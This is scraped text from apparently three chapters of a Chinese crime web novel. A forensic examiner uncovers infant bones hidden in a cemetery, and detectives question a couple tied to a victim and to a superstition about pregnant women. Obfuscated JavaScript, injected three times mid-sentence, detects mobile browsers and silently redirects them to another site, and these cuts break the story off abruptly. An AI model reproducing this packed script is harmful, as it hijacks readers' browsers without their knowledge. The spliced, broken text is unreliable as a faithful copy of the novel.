接到乐小冉的汇报后,他当即联系了以前单位的同事,请他们帮忙留意那对夫妻的行踪,一旦出现潜逃倾向,立刻予以阻拦。 连潮打算亲自跑一趟帝都,会会那对夫妻。 他迅速打开订票软件,挑选了最快一班飞机。 正要订票的前一刻,连潮的动作却是一顿。 他的脑中下意识滑过了一张脸——宋隐。 连潮转而给宋隐打了个电话。 他打的是座机内线,接电话的人是卓宛白。 “啊?连队你找宋老师?宋老师不在。 “他今天没来市局,说是去外面调查线索了……哦他、他可能忘记提外出流程了——” 挂掉座机,连潮立刻拿出手机,重新拨给宋隐。 电话倒是很快通了。 “嗯?连队?” 连潮一手举着手机,另一手撑在办公桌上,修长的五指微微收拢,脊背线条绷得很紧,浑身散发着拒人于千里之外的气场。 “你去哪儿了?外出调查的话,就算来不及提流程,也该口头报备。” 连潮的语气颇为生硬。 他极不喜无组织无纪律的人。 宋隐偏偏最无组织无纪律。 相比之下,宋隐的声音虽然天然透着一股清冷,这会儿隔着电话传来,却竟显得格外温和: “嗯。领导教训得是。是我不对。” 连潮:“……” 冷不防地,他忽然想到宋隐那句—— “其实我喜欢被管教。” 训斥下属的话,突然有点说不出口了。 不然似乎会变成在奖励他。 “所以,你去哪儿了?” 连潮的语气依然冷硬。 不过多了一分微妙的、不易察觉的不自然。 “我在公墓——” “公墓?金悦幼儿园原址改的那个?” “嗯,查到些有趣的东西,你要来一趟吗?” 14.Chapter14 昨晚回家后,宋隐登录了“天眼查”的网址。 五年前,有殡葬公司购买了金悦幼儿园所在的那块地,并将之连同周围的大片荒山全都改建成了公墓。 先前搜索金沙河的相关新闻时,宋隐就觉得这家公司的名字有些眼熟。 昨晚查询后他发现,这家民企的最大股东,果然是自己认识的人—— 他继父姜民华的好友之一,黄宇军。 李虹被杀,凶手明显在执行某种仪式。 这起仪式涉及的关键元素有:金沙河、10月18日、木雕娃娃,与五年前金沙河事故发生的时间和地点全能对上。 现在看来,李虹的孩子们并没有死在事故中。 那么唯一无法确定的,便是仪式里木雕娃娃代表的意思。 无论如何,这两起事件的背后,应该存在着某种关联。 因此宋隐还是想去埋葬着所有遇难者的公墓看看。 公墓背后公司的大股东是认识的人,提前给他打声招呼,做起调查来会方便很多。 今早起床后,宋隐便给姜南祺打了电话,希望他能帮忙牵线搭桥。 “哥,你想找黄叔啊?那肯定没问题,爸前天还和他一起喝茶呢。我也去了。 “话说我陪你过去吧。反正还有调休没用。 “那什么……妈的生日,你真不去啊? “行行行,我不说这事儿了,真不说了。你等我,我先问问黄叔情况——” 打完电话的一个小时后。 宋隐已坐着姜南祺的车,到达了公墓管理处。 正值早上9点,下车后,宋隐裹紧雾蓝色的大衣,抬眸望向停车场对面山坡上的墓地。 青灰色的天光漫过连绵起伏的山脉,淡淡的晨雾如透明的纱帛,拢在一座座排列整齐的墓碑间。 ——那23个孩童的骨灰,连同李虹案背后的秘密,或许都被掩埋在了那里。 深秋时令的山上尤其湿冷。 姜南祺一边搓手,一边走到宋隐身边,颇为好奇地问他:“哥,是为了案子来的吗?” “算是吧,了解一些情况。” 宋隐问他,“你刚才说,黄叔要来?其实他不需要来,给下面的人知会一声就行了。” “害,黄叔那人客气得很,你又不是不知道,听说我们要来,他立马就说要请我们吃饭。不过估计他来得没那么快,说是早上跟人约好了打高尔夫呢。” 姜南祺道,“对了,你放心,公墓管理处的经理马上就到。黄叔已经交代下去了,你想问什么都可以。” 有熟人帮忙,办起事来确实高效。 公墓管理处的经理果然很快就赶了过来。 得知宋隐的来意后,他更是把当年参与过事故相关安葬善后工作的主要人员,全都找了过来。 片刻后,一群人齐聚在管理大楼的会议厅。 经理格外殷勤,直接把宋隐让到了会议桌的首位,端茶递水地前后忙个不停。 期间,他也不住地用好奇的目光来回打量宋隐和姜南祺,似乎是在揣测这对继兄弟之间的关系如何。 宋隐无暇理会旁人,径直坐下了。 他看起来略显清瘦,五官走势也并不锋利,然后坐下后清冷的双眸微微一抬,就轻易压住了满室的嘈杂。 “感谢诸位配合警方的工作。我想问的是—— “当年建造公墓,或者安葬事故受害者骨灰的时候,大家有没有遇到什么怪事? “不一定是什么灵异恐怖的故事……有任何不同寻常、不合常理的小事,都可以告诉我。” 对于此次能否问出线索,宋隐没抱太大希望。 他真正想做的,其实是把那23个孩童的骨灰罐,从墓坑里取出来,带回市局做进一步的检验。 李虹的孩子应该不在那23个孩童之中。 但宋隐总觉事有蹊跷,还是想测过DNA再说。 正常情况下,从骨灰中提取到完整DNA的可能性几乎为零。 但当年火葬场集中处理的遗体数量颇多,难免会有疏漏。 那么,也许能找到燃烧不充分的骨头碎片,从中提取到DNA,再与李虹的进行比对。 不过这项工作的难度极大,查出有价值结果的概率却非常低。 不仅如此,遇难者的家属们,恐怕也是绝对不愿意让自己开坟取骨灰的。 因此宋隐只有先试着找工作人员们问问看。 很快,众人便在经理的引导下,依次有序地讲述起了自己曾有过的见闻。 不过其中大部分都是危言耸听、毫无根据的鬼故事。 宋隐没有得到任何有用的信息,面上不由浮现出些许倦怠,双目也变得放空起来。 直到一个叫刘杰辉的员工讲述起自己的经历,不知不觉间,宋隐坐直了身体,表情也变得严肃起来。 “这事儿吧,说邪乎也不邪乎,就是瘆得慌。” 刘杰辉点了一支烟,看向宋隐旁边的位置,“王经理你还记着不……那回我还打电话给你报备过呢!” 经理回忆了一下,似是想到什么,整个人坐直了。 “哎呦,该不会是……那包小孩骨头?” “可不咋的!”刘杰辉一拍大腿,“那天晚上,我刚把地上踩烂的菊花扫成堆,转头就瞅见个红衣裳的……” 五年前,公墓尚未完全建成,四处都是大片拆迁后尚未清理的断壁残垣。 不过那片特意规划出来,用于安葬金沙河事故遇难者的区域,已经如期修缮完毕。 后来公墓管理方为所有遇难者,统一举行了墓葬仪式。 那晚负责打扫公墓的人,便是刘杰辉了。 太阳落山之时,墓区西北角。 刘杰辉正拎着笤帚弯腰打扫着墓碑前的小道,冷不防听到什么,一扭头,看见了一个女人。 女人的脸白得没有一丝血色,五官比例也极为不协调。 她穿着红衣服,留着长头发,身姿轻盈地踩着夕阳的余晖,从残垣深处飘了过来,活像山野间的鬼魅。 刘杰辉立刻犯了怵,手里的笤帚“啪”得掉在地上,人紧跟着快速后退了几步。 女人却是往前追了过去:“对不住啊,我是剧场的演员,赶时间,没来得及卸妆……” 刘杰辉勉强按捺住恐慌,借着路灯仔细看向面前人的脸,发现她的五官之所以怪异,确实是化妆造成的,这才稍微放下几分心。 “你现在来这儿是……” 女人道:“不好意思,我是闵静的妈妈,之前一直在巡演,好多消息没顾得上看,又和她爸爸离婚了…… “请问,小静的骨灰,是今日落葬吧?我知道我来太迟了,可是……” “你说的闵静,是遇难者之一吗? “算了没事儿,我自己找名单确认下,你稍等——” 掏手机的时候,刘杰辉还有点哆嗦。 片刻后他翻着手机道:“诶,有了,我看到闵静的名字了。安静的静,对吧?放心,我们已经将她好好安葬了。” “对……对,就是这个静!这名字还是我取的。葬了就好……葬了就好!呜呜,我那可怜的小静啊……” 女人突然蹲在地上痛哭起来。 两行眼泪冲开厚重的睫毛膏,在她惨白的脸上留下两道明显的黑色印记,看起来格外瘆人。 “我刚才去了趟火葬场…… “你知道那帮孙子说什么吗? “说其实大家的尸体都是混在一起烧的,骨灰全都混一块了,可怜我的小静啊,胳膊腿儿都找不全……” 刘杰辉不由又悄悄后退数步。 他有些不安地看向女人肩膀上挂的一个大包。 那里面该不会……该不会是骨灰吧? “大妹子,你说啥?你去了火葬场? “你去火葬场做啥呀?” 女人没答话,兀自跪坐在地,把肩膀上的大包放下来,紧接着居然从中取出了几块骨头。 光线太暗,刘杰辉只能勉强看个大概—— 那些骨头格外小,一看就不属于成人,应该就是火化炉里没有烧干净的孩童骨头残片。 “不是,大妹子你这……” “我知道规矩,你们骗不着我……小小一个骨灰盒,哪装得下我的小静?你们无非是随便挑拣点,做做样子而已。” 女人一边流泪,一边道,“我不允许,不允许啊!小静已经够可怜了,你们这不是让她死无全尸吗?! “所以……我去火葬场,只是想把她捡完整而已…… “我刚才给那帮孙子下跪、磕头,求他们把还没来记得处理的骨灰渣留给我……” 女人的声音骤然变得无比尖锐,几乎和金属划过玻璃时一样刺耳。 刘杰辉鸡皮疙瘩起了一身。 他觉得这女人简直疯了。 火葬场的人估计也觉得她疯了,这才随便给她些骨头应付了事吧。 不过害怕之余,刘杰辉又不免有些心生同情。 他自己也是有女儿的人,能想象到这份痛苦。 刘杰辉长叹一口气。 只听女人又道:“你帮我挖开小静的墓,让我把这些新捡来的骨头埋进去吧!” “这哪儿行啊?不合规矩!” 刘杰辉立刻拒绝。 女人再次乞求道:“我知道……我知道也许我捡的这些骨头碎片,根本就不是小静的。 “但是……我心理上多少会宽慰点…… “就算不是小静的……那也是小静同学的,把她们埋一块,也算有个伴儿,你说是不是? “我只是想多帮帮小静…… “她死得怨啊……她死得好冤啊!! “都怪我,如果我当时没给金沙河那破地方投上一票,大家可能不是去那里游玩,她可能就不会死!她爸也是因为这个和我离婚的…… “求求你,求你让我再为 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|15068847|162326||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她最后做点什么吧!!” 刘杰辉被她吵得脑门嗡嗡的疼。 “哎呀,不是我不帮你,这墓坑就茶碗大,骨灰盒都是按规格统一订做的,根本塞不进其他任何——” “墓坑放不下,旁边土里也行啊!我给你们钱,好吗? “她那么小,占不了多少地方的!求求你了啊!” 女人双膝跪地,忽然朝刘杰辉磕起头来。 石板路上骤然响起砰砰砰的碰撞声。 看得出女人力道绝对不轻,放任不管,恐怕会出问题。 刘杰辉吓坏了,赶紧给经理打了个电话。 经理的声音听起来也颇为无奈:“这些家长啊,闹了半年,好不容易消停了,可不能再出幺蛾子! “成成,就依她吧,你千万盯紧点,可别让她干傻事啊,有情况马上给我打电话!” 得到许可后,刘杰辉答应了女人的要求。 挂掉电话,他找来铁锹,往墓碑深处走去,很快就找到了刻着“闵静”二字的小小墓碑。 墓碑旁种着一棵小松树,刘杰辉动作麻利地在数根旁挖了个坑,女人随即把一大包碎骨全都倒了进去。 刘杰辉一边回忆,一边有声有色地讲起了那段怪异经历。 末了,把烟屁股往烟灰缸里一碾,他道:“大概就是这样了!你们是没瞧见,那女人哭得脸都花成了一团……太吓人了。 “当时很多人不信,我还给他们看了监控的。 “不过这么多年过去……监控已经没了。” 刘杰辉叙述期间,宋隐一直拿着钢笔在纸上做记录。 此刻,快速回顾了一遍笔记上的几个关键词后,他放下钢笔,看向刘杰辉问: “那女人背的包,有多大,还记得吗?” “那是相当的大啊!” 刘杰辉张开手臂比划了个颇为夸张的尺寸。 眼见着宋隐浅浅蹙了眉,他讪笑道:“具体多大,确实说不清楚,但我记得啊,最后她是拎着袋子的中间位置,把白花花的骨头碎片往坑里倒的……在我印象里,那袋子快到她膝盖了,肯定小不了!” 宋隐又问:“它装得满吗?” 刘杰辉点头:“满!可满了!好家伙,鼓鼓囊囊的!火葬场的人估计也是被她闹烦了吧,让她多捡了点。” 宋隐把钢笔和小记事本随手踹进衣兜,站起身来。 “闵静的墓在哪儿,带我去看看,有劳。” 约10分钟后,宋隐在刘杰辉的带领下,去到了闵静的墓碑前。 五年前的松树,如今已经长得高了不少。 刘杰辉拎着铁锹,很快就凭记忆里的位置,在树根旁挖出了一个坑来,里面果然有相当多的白骨。 宋隐戴上手套蹲下身,简单查看后已发现了问题。 那23个遇难孩童所在的班级,属于幼儿园中班,年龄平均在4、5岁。 可眼前坑里的这些骨头非常小,根本不可能属于幼儿园的孩童,而属于刚成型的婴儿。 此外,这些小骨头没有任何被火烧的痕迹,根本不可能是火葬场里捡来的碎片。 五年前李俊杰之所以会轻易上当,恐怕是光线太暗,以及他太过害怕、不敢细看所致。 宋隐没有带足够多的物证袋,叮嘱经理把这里围起来,不要让任何人靠近后,便打算回一趟市局拿工具。 不料刚回到停车场 ,他撞见了刚开车过来的黄宇军。 黄宇军为人非常热情,一定要拉着姜南祺和宋隐去附近的高级酒楼吃饭。 盛情难却,宋隐只能先吃完饭再说。 这顿饭吃得要比想象中还要漫长很多。 原本宋隐就奇怪,自己和黄宇军其实没什么交际,他那样的本地商界大佬,没必要对自己这么客气。 不过很快他就知道了原因—— 黄宇军把一张照片,拐弯抹角地递了过来:“看,我闺女儿依依,好看吧? “她今年呐,刚好28岁。我听说宋老师好像25,是吧?哈哈你看正好,这女大三,抱金砖……” “黄叔叔,我是做法医的。” “法医怎么了?法医就不是公务员了啊?再说了,像宋老师这样的青年才俊,肯定是各个岗位争着要,以后前途——” 好在关键时刻,手机铃声及时响了起来。 “抱歉,接个电话。” 宋隐拿着手机去到外面走廊,接起电话后,听见了连潮那有些冷硬的,隐隐带有几分训斥意味的声线。 简单解释完自己所在何处,宋隐道:“我把地址发给你,你来一趟?顺便帮我多拿点物证袋。” 连潮刚说了一声:“好,我马上过来。” 宋隐背后,黄宇军举着照片冲了过来:“宋老师,你可别跑呀。你就说说吧,我女儿漂不漂亮? “我都找大师帮你们算过了。你们天生一对,有三世的缘分呢,今年结婚,明年直接一次性抱俩!!!” 15.Chapter15 下午四点,连潮驾驶着英菲尼迪,沿着坡度平缓的盘山公路,朝公墓方向驶去。 车身在山路尽头拐了个弯,前方便是公墓大门。 猝不及防间,一辆宾利以颇快的速度,忽然从大门方向拐了出来。 连潮及时打方向盘避开,一脚踩下刹车,车胎顿时在冷硬的水泥路面发出刺耳的摩擦声。 那辆宾利也随即停了下来。 连潮侧头一望,发现这辆车很眼熟。 从驾驶座车窗内露出来的那张年轻男人的脸,也很眼熟—— 不久前的早晨,便是这个年轻人开着同样的车,送宋隐去市局上班。 “不好意思啊。” 冒失的年轻男人点点头,向连潮表达了歉意,然后一脚油门把车开远。 汽车后视镜里,宾利拐了个弯,消失在山野间。 连潮收回视线,重新发动汽车,将之驶入停车场,不久后看见了站在路边等着自己的宋隐。 宋隐面朝着墓碑的方向,冷白面容浮在薄雾中,眼里似有几分霜色,也不知道在想些什么。 听见声音,宋隐回头看向连潮,朝他一点头。 连潮关闭汽车发动机,拎着勘探箱下了车,两人这便一起走向路对面的墓群。 “刚才碰见了一辆车。车牌江H74596。”路上连潮问宋隐,“你朋友?” “算是吧。他和这边的大老板熟,所以找他帮个忙。” 宋隐瞥连潮一眼,又道,“领导放心,我没违反纪律,没跟他聊案子的事。” 听到这话,连潮的第一反应是皱眉。 他意识到宋隐的回答,似乎并不符合自己的期待。 宋隐却好像误会了他皱眉的意思。 于是又解释了句:“真的。没骗你。我嘴很严的。” 连潮:“……” 宋隐有些惊讶地看向他:“真不信啊?” 连潮:“…………” 不知不觉间,连潮放慢了脚步,和宋隐稍微拉开了些许距离。 宋隐似有所感,回头看向他。 “连队,怎么了?” “没什么。” 连潮五官冷峻,语气里带着几分颇为微妙的生硬。 片刻后,他长腿一迈,贴着宋隐的脚印迅速跟了上去,转而问道:“你怀疑,李虹生出来的那些死胎,被埋在了这里?” 宋隐是这么考虑的—— 所谓杀人容易埋尸难,李虹生下了一些死胎,对她或者她背后的团伙来说,处理这些尸骨会是一个难点。 毕竟一旦尸骨被人发现,他们做的这一切就会曝光。 当年那名红衣女人带来的死胎,既然都已经白骨化,这说明一开始他们把死胎埋在了其他地方,且埋了相当长的一段时间。 只是后来估计遇到了一些问题,他们决定将这些白骨换个地方掩埋。 就在这个时候,金沙河出了事故。 那伙人看到新闻,知道政府会将金沙河事故里遇难的孩童,统一火化、统一埋葬,于是决定加以利用。 幼儿园孩童的骸骨,比刚成型的婴儿大多了,但如果将婴儿骨头弄碎,粉饰成火化后的骨头碎片,在天黑看不清的时候,是可以糊弄过去的。 因此团伙里找了一个女人,让她在日薄西山后,装疯扮傻,装神弄鬼,找借口把那堆死胎的骨头,以一个堂而皇之的理由,名正言顺而又神不知鬼不觉地埋进了公墓里。 公墓里装了监控,且有目击者。 女人故意把自己五官扭曲成那样,无非是为了隐藏真实容貌。 这样一来,死胎们的尸骨算是彻底在这世上消失了。它们已被包装成“金沙河事故遇难孩童的骸骨”。 就算有一天东窗事发,警方搜集那个犯罪团伙罪证的时候,估计也很难想到,尸骨居然就藏在公墓里。 此刻,宋隐对连潮道:“嗯。这是目前我能想到的,李虹与五年前金沙河事故之间的唯一关联。真实情况到底怎么样,验过DNA就知道了。对了—— “你要去帝都?几点的航班?” “今晚10点半。”连潮道。 “你之前给我打电话,是想叫我跟着去?” “嗯。我看你在那边上学的时候,每年暑假都会在城南分局实习,应该和那边的人也熟,办起事来方便些。” “可惜不巧,我得留下来拼尸骨,测DNA。说起来……连队来淮市之前,是在帝都的城北分局?” “嗯。怎么?” “没什么。我以前常听人提起你的名字。” 是“提起你的名字”。 而不是“提起你”。 可明明后面才是更自然、更口语化的表达。 连潮何其敏锐,当即捕捉到什么。 然而不待他说什么,宋隐已经看向前方一抬头:“喏,到了。就是那里。” 连潮深深看宋隐一眼,随即顺着他的目光望向前方,看到了刻着“闵静”二字的墓碑,以及旁边松树根下的白骨—— 他们推测的一切,可能已经十分接近真相了。 可是眼前土坑里的白骨数量极多,恐怕埋的还不止李虹一个人生下的死胎。 难道除了她……还有别的女人在做同样的事? · 一个小时后,连潮带着宋隐、刚挖出来的骨头,还有那个名叫李杰辉的公墓管理人员,回到了市局。 淮市隶属江澜省省会临津市管辖。 今日连潮在去公墓之前,特意与上级单位临津刑侦支队取得了联系,为的是请他们的画像师支援这次案件的侦破工作—— 画出那名五年前曾出现在墓地的、红衣女人的肖像。 这便是连潮带李杰辉回市局的原因。 当年那个红衣女人故意化了很诡异的妆容,扭曲了真实的五官。 时隔五年,李杰辉的记忆可能会失真。 那么画像的准确程度会非常有限。 不过这起案件颇为古怪,任何线索都不能轻易放过。 及至市局,宋隐带着骨头去到了解剖室。 连潮则先把李杰辉带到会议室,与临津市刑侦支队的画像师展开了视频沟通。 画像工作的进展颇为缓慢,连潮还得赶飞机,不久后叫来乐小冉等人盯着这项工作,自己则先行离开了。 蒋民已经提前回家打包好了行李。 连潮在帝都有房有车,家里尚有好几个大衣帽间,倒是不必额外准备行李,回宿舍检查了一下水电,便准备走了。 不过在出发前,连潮又去了一趟法医大楼的解剖室。 他到的时候,所有刚被挖出来的小骨头,都被摆在了操作台上。 那是宋隐正在尝试,将不同的骨头块,拼凑成不同的婴儿,以便初步确认尸体的数量。 宋隐的“拼图游戏”正进行到关键时刻,听见连潮走过来,他没抬头,而是继续专注于眼前的骨头。 连潮也没打扰,安静地站在操作台旁看着。 过了一会儿,宋隐放下最后一块骨头,直起身,侧眸看向连潮:“试着拼了一下,数量很多,有13具。” 连潮当即皱眉,心里不妙的预感越来越强烈。 “我会顺着这条线继续调查,说起来——” 宋隐微微歪了一下脑袋,问他,“你应该要去赶飞机了。特意来我这里,是有话嘱咐我?” 目光从白骨上收回,连潮看向宋隐的眼睛。 他的眼睛依然看起来不专心,像是游离在世界之外,与这片尘世的连接十分薄弱。 连潮不免心生一股奇异的感觉—— 若是没人看着管着,宋隐可能随时切断与这个世界的联系,消失在人海之中。 “确实有事叮嘱你。” 连潮的语气不觉厉了几分。 就好像试图借此把宋隐从游魂的状态下拉回来。 “刑侦大队已经完成重建,以前的不良习性,不要带过来。要遵守纪律,不管有任何行动,事先都要向我报备。” “好。明白了。” 连潮朝宋隐走近一步,目光居高临下,气质自带居上位者的威压。 “真明白了?” 宋隐很肯定地一点头。 “真明白了。我现在就向领导你报备—— “这些婴儿骨头的年份不短了,从中顺利提取出完整DNA的难度很大,这边的设备不行,我得去趟支队,已经 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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那对买了限量款包的夫妇被请到了这里。 连潮带着蒋民,对二人展开了问询工作。 这对夫妻中,女方叫李慧敏,男方叫张晨阳。 也不知道是不是城北分局的暖气给得太足,两个人都有些面红耳赤。 尤其是张晨阳,他面前的桌子上摆了一堆纸团,全都是擦汗擦的。 看得出他非常口渴,很快就把面前一杯水喝光了。 然后他抬眸盯了一眼连潮,似乎想再要一杯水,不过没说出口,快速移开了视线,最后干脆把毛衣脱了。 连潮已经从城北分局的前同事口里,知道了这对夫妻的基本情况—— 李慧敏的父亲是山西煤老板,她从小就不缺钱花。 虽然不爱去学校,学习成绩也不好,但她很有生意头脑,很早就在帝都做起了医美生意,现在手上有十几家连锁店。 至于她的丈夫张晨阳,人长得还算不错,学历也高,是个硕士生,据身边朋友反馈,他还很会哄人。 不过他这人没有什么本事。 和李慧敏结婚后,他从出版社辞了职,后来靠着老婆给的钱做起了生意,尝试着开过宠物店、咖啡店、文创产品店等等,不过无一例外,全都倒闭关店了。 李慧敏的朋友们全都不满张晨阳,觉得他就是个吃软饭的小白脸,没本事就算了,人还花心浪荡,常出入声色场所。 但大概如人饮水,冷暖自知。李慧敏跟家里人的关系不好,张晨阳能提供给她其他人提供不了的情绪价值,她也就一直没离婚。 “劝人离婚,可是要天打雷劈的啊! “哎呀,你们就当我养了条听话的狗好了。 “一条狗而已,偶尔出去偷吃两口,又没什么了。我招招手,他还不是会赶紧回家冲我摇尾巴! “放心吧,等他不中用了,我会再找条狗的。” 听李慧敏说过这话后,她的朋友们也就没再劝过。 问询室内,连潮把对座上夫妻俩的表情尽收眼底。 随即他把李虹的照片按在桌上,再推到了两人跟前,问:“认识她吗?” 16.Chapter16 关于那款限量版的花房子包,以及用来保护它的那个中型箱子,通通没有在李虹的家里找到。 胡大庆复盘监控后发现,10月17日早上出门的时候,李虹曾拎着箱子出门,将它装到了凯美瑞的后备厢中。 不过现勘的时候,既没有在那辆凯美瑞里找到包,也没有找到箱子。 与此同时,李虹家里没有搜出现金,银行账户也没有大笔进账。 目前只能推测,李虹没有卖掉那款包,而是将它连同箱子,一直放在了自己的车上。 18日凌晨,杀手杀完她后,将包和箱子一起拿走了。 话又说回来,李虹到底是怎么得到的这款包? 这个故事还要由眼前这对夫妻来讲述了。 见到李虹的照片后,夫妻俩的反应截然不同。 李慧敏嘴角下撇,翻了个大白眼,当即面露嫌恶。 张晨阳咽了一口唾沫,脸都白了,明显有些害怕。 紧接着他迅速抬眼飞快地瞄向了一个人,却不是他面前的刑警连潮,而是身边的妻子李慧敏。 连潮当即看出来,尽管一直以来他都表现得很害怕,但他真正怕的恐怕不是警察,而是妻子。 这么看来,他是凶手的可能其实降低了。 他之所以出汗、紧张,只是担心妻子被李虹激怒,而不是担心自己会被当做凶手逮捕。 当然,这并不意味他爱护珍惜妻子。 他应该只是担心自己会被踹出家门,失去铁饭碗。 不久后,张晨阳霍然起身,一把推开身后的椅子,驾轻就熟地扑通往地上一跪,对李慧敏重重磕了三个头后,上前抱住她的腿,一把鼻涕一把泪地哭了起来。 “老婆,你要信我。我做这一切都是为了你,真的都是为了你啊! “我可以当着警察的面,把一切都交代清楚的。在他们面前,我肯定不会说谎,是不是? “我指天发誓,我说的句句属实!否则我天打五雷轰,我祖孙十八代全都下地狱啊! “如果不是为了你的身体,我怎么会轻易中招?我是宁可信其有,也要去试试啊! “我跟她上床,真的是我因为我爱你啊!” 连潮:“…………” 蒋民目瞪口呆,叹为观止。 夫妻俩开始拉扯起来。 后来两个人都哭了。 问询室俨然成了他们夫妻俩表演的舞台。 连潮和蒋民则是安静看戏的NPC。 耐性地听了一会儿,发现这两人只是一味东拉西扯,并没能说出任何实质性内容后,连潮终究敲敲桌子打断他们,颇为严厉地道: “不要在警局喧哗。二位请重新坐好,然后告诉我,照片上的人,叫什么名字?怎么认识的?” 连潮语气严厉,目光锐利。 他比那对夫妻年轻很多,然而气场之强,竟让人完全不敢轻视。 夫妻俩互相为对方抹了把眼泪,果然重新坐好了。 张晨阳用复杂的眼神看了一眼李虹的照片,再看向连潮道:“她……她叫艾利。” 连潮当即皱眉。“艾利?” 张晨阳道:“是。我也知道,这应该是她的假名。但我不知道她的真名。” “她的那款花房子包,你送的?” “是。我得……向艾利付费,但我身上根本没有那么多钱,情急之下就只能……只能偷我老婆的包抵债。” 付费?付什么费? 难道李虹以前真是…… 不对。 什么样的皮|肉交易,居然要两百万? 连潮当即问:“偷包的时候,你知道那包的价格吗?” “不知道!” 连潮皱紧的眉头松开些许。 谁料张晨阳又道:“我以为也就五十来万。我没想到那么贵……对了,那包当年也没有两百万,好像是80万左右吧,现在升值了……” 张晨阳赶紧看向李慧敏道: “老婆我真不是故意的!我发誓啊!那会儿我搓衣板都跪碎了三个。你已经原谅我了,不能反悔,是不是? “我和那个女人之间真没什么!如果我骗你,等会儿从警察局出去,我马上被雷劈死!” 此人下跪发誓速度之快,就跟程序设定好似的。 蒋民快把眼珠子给瞪出来了。 刚得知要被调剂到淮市的时候,他顿感自己前途无光,惆怅之余,也幻想过将来要是走投无路,干脆去想办法找个富婆傍。 不过很快他就清醒了。 他自认颜值不够,富婆瞧不上。 现在他更是发现,傍富婆是个技术活,不是谁都能像张晨阳那样没皮没脸没自尊也没底线的。 连潮的注意力倒是在案子本身上。 就算是五十万,也远超出了正常皮|肉交易的价格。 手掌拍向桌案,连潮看着张晨阳厉色道: “你和这个艾利,到底怎么回事? “你为什么需要付她50万?” “我……是这样的……” 张晨阳低下头,盯着自己那双在会议桌上搓来搓去的手,道,“大概……大概六前吧,我老婆病了,乳腺癌。” 闻言,连潮瞥了一眼旁边的李慧敏。 既然那是六年前的事了,这意味着她已经挺过了五年的关键生存期,算得上是病愈了。 只听张晨阳再道:“哎我本来不信艾利他们那伙人的。但老婆的病实在让我害怕……我怕得要死啊!我老婆要是没命了,我也活不下去了啊!我、我就说试试看,死马当活马医吧!” 连潮眉头皱紧,眉峰下压。“试什么?” “就是有种说法……‘转孕珠’……” 张晨阳的语气里带了点不自然。 不过也只是一点而已。 闻言,连潮勃然变色,蒋民倒是面露茫然,明显没听懂,不由问了句:“转运珠?什么意思?珍珠吗?” “不是珍珠……这个珠指的是……” 张晨阳又瞥了一眼身边的妻子,再道,“是指孕妇肚子里的……孩子。” 这下蒋民也变了脸色。 瞥一眼两位警察的表情,张晨阳又低下了头去。 “我……我老婆完全不知道这事的原委。真的。接到你们的电话后,她问起我,我才告诉她的。 “我本来不敢来警局交代实情,但是吧,我老婆说服了我,她说坦白从宽、抗拒从严……我、我肯定是听老婆的,是吧? “那么二位警官,能不能也帮我个忙呢?” 连潮那对山脉般的眉峰本就走势凌厉,往下压的时候,原本一张矜贵英俊的脸,便是生生显出了几分凶悍。 听出张晨阳的意思,他当即屈指一叩桌子,沉声道:“跟我谈条件?” “啊不……不是……怎么能说是谈条件呢?” 张晨阳又抽出一张纸,擦了擦脑门上的汗,“我只是为了我老婆考虑……我知道,也许我会坐牢,我认了! “但是吧,我想请求你们,万一有媒体采访啥的,千万别把我的名字和脸暴露出去! “是这样的,我老婆做医美服务的,她的客户基本都是女人,如果这事儿闹大了,激起众怒,她的生意一定会受到影响。我坐牢没事,我不能牵连她啊!” 一旁,李慧敏当即抹起了眼泪,深情款款地看了丈夫一眼,再看向连潮道:“连警官,确实是我说服他来的。不过他人既然来了,也打算主动交代一切……这也算是自首,是不是? “这个量刑上面,是可以减轻的,对吧? “当然,我也会请最好的律师——” 连潮眉头皱得更紧。 张晨阳演这一出,恐怕并不是有因为多爱李慧敏。 被警方找上,他知道自己罪责难逃,必须尽快找一个好律师才行,可他没钱,他不得不继续想办法把老婆哄住。 李慧敏在生意上明明很有头脑,平时表现得也很干练泼辣,对外是个不容易被轻易欺负的女强人形象。 却不知道为什么,她在感情上这么拎不清,一直被张晨阳吃得死死的。 也许是人在局中,看不清楚的缘故。 连潮心绪有些复杂,眼下却只得公事公办。 他面无表情看向张晨阳:“第一,保护每个当事人的隐私,是我们警方的义务。你不必有任何疑虑。 “第二,你的行为是否构成自首,或者是否有其他立功表现,这要根据你向警方交代的事情来定。我们也会向检察院如实反馈。怎么样,肯说了么?” 张晨阳开口又要了一杯水。 把一整杯水全部喝下肚后,他总算交代了—— 六年前,为了尽快做出一番事业,他进了很多微信群,也加了很多狐朋狗友,经常参加各种饭局。 某次在酒吧,他喝多了之后和朋友哭诉,提起自己老婆得癌症的事情。 “你有没有发现,打从咱们一起去了趟梅山,你就跟瘟神附体似的没好过? “生意嘛,那是做一个黄一个,现在嫂子还病成这样……肯定是路过坟场的时候不小心触了霉头!” 朋友这话,把张晨阳说得有些心慌。 只因他去梅山那次,确实不小心踩到过疑似是死人骨的东西。 他当即问朋友有没有破解之法。 朋友便给他引荐了一个名叫玛丽的人,说她手上有很多转孕珠。 所谓的转孕珠,指的便是孕妇肚子里的胎儿。 如果与孕妇行男女之事,自身的厄运,就可以被孕妇肚子里正在成长的胎儿吸走。 当自身携带的厄运过于强大,一次男女之事肯定不够,要多来几次才行。 另外,胎儿月份越大,能量越强,其能吸走的厄运就越多。 孕妇如果多次做了这种事,到了后来,肚子的胎 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return 